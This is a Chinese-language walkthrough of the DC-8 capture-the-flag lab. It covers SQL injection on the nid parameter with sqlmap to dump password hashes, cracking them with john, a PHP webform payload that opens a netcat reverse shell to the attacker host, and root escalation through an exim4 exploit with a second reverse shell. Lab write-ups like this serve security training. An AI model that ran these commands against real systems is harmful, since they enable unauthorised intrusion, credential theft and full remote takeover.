过程
1. 探测目标主机
nmap -sP 192.168.246.0/24
,获得目标主机IP:192.168.246.145
2. 信息搜集
- 端口信息
nmap -sV -p 1-65535 192.168.246.145
- web站点相关服务信息
3. sql注入
在前面点击Details的几个链接,然后发现url里有个nid参数,尝试检测注入:
- 单引号报错:错误信息是多了个单引号
- 尝试
and 1=1#
和and 1=2#
:
直接放sqlmap里吧:
sqlmap --url "http://192.168.246.145/?nid=1" --dbs
sqlmap --url "http://192.168.246.145/?nid=1" -D d7db --tables
sqlmap --url "http://192.168.246.145/?nid=1" -D d7db -T users --columns
sqlmap --url "http://192.168.246.145/?nid=1" -D d7db -T users -C name,pass --dump
4. 爆破
把sqlmap跑出来的hash值放到文本里,然后用john破解一下:
之前装的john不能动了,一直提示:No password hashes loaded (see FAQ)
,没解决,直接用kali自带的…
注:刚开始跑很久,跑不出来,然后把admin的hash去掉后,一下子就抛出john的pass,服了…
john /root/Desktop/dc8.txt
5. 反弹shell
首先登录john用户,在robots.txt中找到登录的地址:
有个页面文件可以编辑修改:
点击edit后选择WEBFORM -> Form settings:
然后选择phpcode,然后写上一句话反弹shell:
<?php system('nc -e /bin/bash 192.168.246.138 8888')?>
拉到最下面保存:
在kali开启监听8888端口,然后访问Contact Us:
插入一句话弹shell的是在提交数据后才会执行,所以submit:
成功弹回shell:
获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
6. suid提权
参考文章
查找符合条件的文件:
find / -perm -u=s -type f 2>/dev/null
看看版本:
/usr/sbin/exim4 --version
使用searchsploit查找响应漏洞:
把它弄到靶机里,使用scp:
需要先在kali开启ssh服务------Kali ssh服务
scp root@192.168.246.138:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/
查看一下,过来了:
运行exp,错误:
./46996.sh -m netcat
有个^M,查看此exp后,看到结尾都是M,百度后的文章:
解决“/bin/bash^M: bad interpreter: No such file or directory”
sed -i "s/\r//" 46996.sh
再次查看:
重新执行exp,先监听kali上的6666端口:
./46996.sh -m netcat
nc -e /bin/bash 192.168.246.138 6666
这里很快就会断链了,所以要快点:
python -c 'import pty;pty.spawn("/bin/bash")'
总结
- 多百度是个好东西…